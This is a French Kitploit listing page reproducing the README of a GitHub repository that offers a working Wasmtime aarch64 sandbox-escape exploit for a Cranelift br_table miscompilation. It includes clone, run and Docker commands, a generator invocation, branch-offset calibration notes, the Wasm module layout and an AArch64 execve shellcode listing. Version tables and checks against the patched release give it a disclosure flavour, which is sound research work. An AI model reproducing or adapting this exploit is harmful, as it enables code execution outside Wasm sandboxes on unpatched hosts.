Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-115893-wasmtime-sandbox-escape — CVE-2026-115893 : exploit public d'évasion de sandbox Wasmtime aarch64 Cranelift br_table, PoV, notes de calibration et preuves de vérification. | Kitploit
Outils/GitHubGitHub/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape
Analyse des VulnérabilitésExploitationShellcodeArticles et RechercheDéveloppement de Charges UtilesExploitation de Binaires
GitHubshreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape

CVE-2026-115893-wasmtime-sandbox-escape

CVE-2026-115893 : exploit public d'évasion de sandbox Wasmtime aarch64 Cranelift br_table, PoV, notes de calibration et preuves de vérification.

Voir le dépôt
1il y a 25 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    624
  • 3

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    412
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer est une plateforme open-source de Gestion des Accès Privilégiés (PAM) qui offre aux équipes DevOps et IT un accès sécurisé et à la demande aux terminaux SSH, RDP, Kubernetes, bases de données et RemoteApp via un navigateur web.

    333
  • 5

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    328
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Moteur OSINT alimenté par l'IA pour découvrir et cartographier plus de 7 700 identités sur les réseaux sociaux à travers le web

    280

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-115893 : évasion de bac à sable Wasmtime aarch64

Un exploit fonctionnel d'évasion complète de bac à sable, une preuve de vulnérabilité et un paquet de vérification pour CVE-2026-115893 — la mauvaise compilation aarch64 Cranelift br_table dans Wasmtime.

Aperçu

CVE-2026-115893 est un bug de flux de contrôle du compilateur dans le backend aarch64 Cranelift de Wasmtime. Un br_table Wasm avec suffisamment de cibles produit un JTSequence dont la branche B.cond par défaut a un déplacement hors de la plage d'encodage de la branche conditionnelle. L'offset déborde, de sorte qu'un module Wasm valide peut sauter vers un offset influencé par l'utilisateur à l'intérieur du code JIT.

Ce dépôt démontre une évasion complète :

  • la branche mal compilée atterrit dans un pool de littéraux JIT exécutable que le module a influencé au moment de la compilation ;
  • le pool exécute une charge utile AArch64 ;
  • la charge utile effectue un appel système hôte, remplace le processus Wasmtime par /usr/bin/touch, et crée /tmp/wt-pwn en dehors de l'invité.

Le module n'a aucun import et n'utilise pas WASI. Il s'agit d'une exécution de code hôte avec les privilèges du processus Wasmtime, pas automatiquement root.

Ceci n'est pas CVE-2026-115889. Il s'agit d'un bug distinct de débordement d'index Cranelift dont l'impact reproduit est une panique/DoS du compilateur.

Versions affectées

Plage de versionsCVE-2026-115889CVE-2026-115893 (aarch64)
<36.0.19VulnérableVulnérable
36.0.19CorrigéCorrigé
37.0.0–42.xVulnérableVulnérable
43.0.0–48.0.6CorrigéVulnérable sur aarch64
48.0.7CorrigéCorrigé
49.0.0–49.0.3CorrigéVulnérable jusqu'à 49.0.4
49.0.4+CorrigéCorrigé

Pour cette CVE, utilisez une version corrigée dédiée : 49.0.4, 48.0.7, ou 36.0.19.

Résultat vérifié

EnvironnementWasmtimeRésultat
macOS 26.7.1 arm64, natif49.0.3PASS 5/5 : rc=0, marqueur créé
Conteneur Linux arm6449.0.3PASS 3/3 : rc=0, marqueur créé
macOS arm6449.0.4REJECT 3/3 : rc=1, aucun marqueur
Conteneur Linux arm6449.0.4REJECT 3/3 : rc=1, aucun marqueur
macOS arm6449.0.3Contrôle à 65 520 cibles : aucun marqueur
macOS arm6449.0.4Contrôle à 65 520 cibles : aucun marqueur

L'exploit est déterministe sur la version testée. Il n'est pas aveugle aux versions ; différentes versions de Wasmtime peuvent nécessiter un réajustement.

Captures d'écran

PoV Linux arm64 : Wasmtime 49.0.3 se termine avec le code 0 et crée /tmp/wt-pwn

Figure 1. Conteneur Linux arm64, Wasmtime 49.0.3. Le processus se termine avec le code 0 après que la charge utile a créé /tmp/wt-pwn en dehors de l'invité.

Wasmtime 49.0.4 rejette un br_table générique surdimensionné

Figure 2. Wasmtime 49.0.4 rejette un br_table générique à 100 000 cibles à la limite d'implémentation de 65 520 cibles. Ce module générique n'est pas le module d'exploit ; il illustre la frontière corrigée.

Prérequis

  • hôte/conteneur aarch64 macOS ou Linux ;
  • Wasmtime 49.0.3 pour l'exécution vulnérable ;
  • Wasmtime 49.0.4 pour le contrôle corrigé ;
  • objdump pour l'inspection des cibles de branche ;
  • Python 3 pour les générateurs ;
  • Docker uniquement si vous utilisez l'exemple de conteneur Linux.

Binaires de version et SHA-256 :

macOS 49.0.3  fec6a4ca5e4310210b2feaea32179cfb51a40ab20eef48ec2345a61a3856002d
macOS 49.0.4  f5a9a33d7df600927ec2b4544cb6270cfcfbe5a7acaeb90952be39cd2584dda4
Linux 49.0.3  ffb2b17b12f6b43e6de3aab08f02269ca7cb481663e0cb189e256e9198bac770
Linux 49.0.4  7ff3862b2dee59318218c2dafd87650faf7840db2c21889b62535e9d0e7273ba

Noms des archives tar :

wasmtime-v49.0.3-aarch64-macos.tar.xz
wasmtime-v49.0.4-aarch64-macos.tar.xz
wasmtime-v49.0.3-aarch64-linux.tar.xz
wasmtime-v49.0.4-aarch64-linux.tar.xz

Hachages des modules :

macOS  lab/jit-escape.wat        7cfe90b1fede88966df0330389967f27ff4e2a644e27ebac66e913fa299fc556
Linux  lab/jit-escape-linux.wat  299e585a3e96f311331e729f0786d5e2b7eb5f017bd0870180cc5365e0e88d25

Démarrage rapide : macOS

git clone https://github.com/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape.git
cd cve-2026-115893-wasmtime-sandbox-escape

export WASMTIME_VULN=/path/to/wasmtime-v49.0.3-aarch64-macos/wasmtime
export WASMTIME_FIXED=/path/to/wasmtime-v49.0.4-aarch64-macos/wasmtime

./scripts/verify-macos.sh

Exécution manuelle :

"$WASMTIME_VULN" --version
rm -f /tmp/wt-pwn
"$WASMTIME_VULN" run --invoke pwn lab/jit-escape.wat
echo "rc=$?"
ls -l /tmp/wt-pwn

Attendu :

rc=0
-rw-r--r-- ... /tmp/wt-pwn

Aucune sortie stdout ou stderr n'est produite ; execve remplace le processus Wasmtime. La charge utile ne crée que /tmp/wt-pwn.

Démarrage rapide : Linux arm64

git clone https://github.com/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape.git
cd cve-2026-115893-wasmtime-sandbox-escape

export WASMTIME_VULN=/path/to/wasmtime-v49.0.3-aarch64-linux/wasmtime
export WASMTIME_FIXED=/path/to/wasmtime-v49.0.4-aarch64-linux/wasmtime

./scripts/verify-linux.sh

Exemple de conteneur :

cp -R "$PWD" /tmp/cve-2026-115893-wasmtime-sandbox-escape

docker run --rm --platform linux/arm64 --entrypoint sh \
  -v /tmp/cve-2026-115893-wasmtime-sandbox-escape:/work:ro \
  -v /path/to/wasmtime-v49.0.3-aarch64-linux:/wasmtime:ro \
  debian:bookworm-slim -lc '
    rm -f /tmp/wt-pwn
    /wasmtime/wasmtime run --invoke pwn /work/lab/jit-escape-linux.wat
    echo "rc=$?"
    ls -l /tmp/wt-pwn
  '

Contrôle de version corrigée

rm -f /tmp/wt-pwn
"$WASMTIME_FIXED" run --invoke pwn lab/jit-escape.wat
echo "rc=$?"
test -e /tmp/wt-pwn; echo "marker_exists=$?"

Attendu :

rc=1
Unsupported feature: `br_table` has 524255 targets, which exceeds the
implementation limit of 65520
marker_exists=1

L'exécution fixe sous Linux rejette 524 252 cibles.

Contrôles négatifs

Même charge utile avec 65 520 cibles :

python3 poc/gen_jit_escape.py 65520 > /tmp/small.wat
rm -f /tmp/wt-pwn
"$WASMTIME_VULN" run --invoke pwn /tmp/small.wat
echo "rc=$?"
test -e /tmp/wt-pwn; echo "marker_exists=$?"

Attendu : rc=0, aucun marqueur. Les constantes v128 et le shellcode seuls ne créent pas le fichier ; la table surdimensionnée est requise.

Modifier le nombre cible en l'éloignant du pool (n=524254) fait atterrir la branche à 0x4c, provoque un crash et ne crée aucun marqueur.

Fonctionnement de l'exploit

Disposition des modules

(module
  (memory 16)
  (func $sc (param i32) (v128.store ...))      ; payload pool
  (func $f  (param i32) (br_table ...))        ; oversized switch
  (func (export "pwn") (call $f (i32.const N)))
)

sc n'est jamais appelé. Ses constantes v128 sont compilées dans un pool de littéraux exécutable .text. Les octets sont du shellcode AArch64.

La mauvaise branche

Pour la version macOS testée avec n=524255 :

  • f commence près de 0xa0 ;
  • la branche de comparaison/par défaut JTSequence se trouve à b4/b8 ;
  • la cible mal compilée b.hs est 0x50, le premier octet du pool ;
  • pwn appelle f avec le sélecteur qui emprunte la branche par défaut.

Le pool s'exécute :

adr  x0, path
adr  x3, arg
adr  x4, arg
sub  sp, sp, #0x40
stp  x0, x3, [sp]
stp  xzr, xzr, [sp, #0x10]
mov  x1, sp
mov  x2, xzr
mov  x16, #59        ; macOS execve
svc  #0x80
brk  #0x43
Télécharger l’outil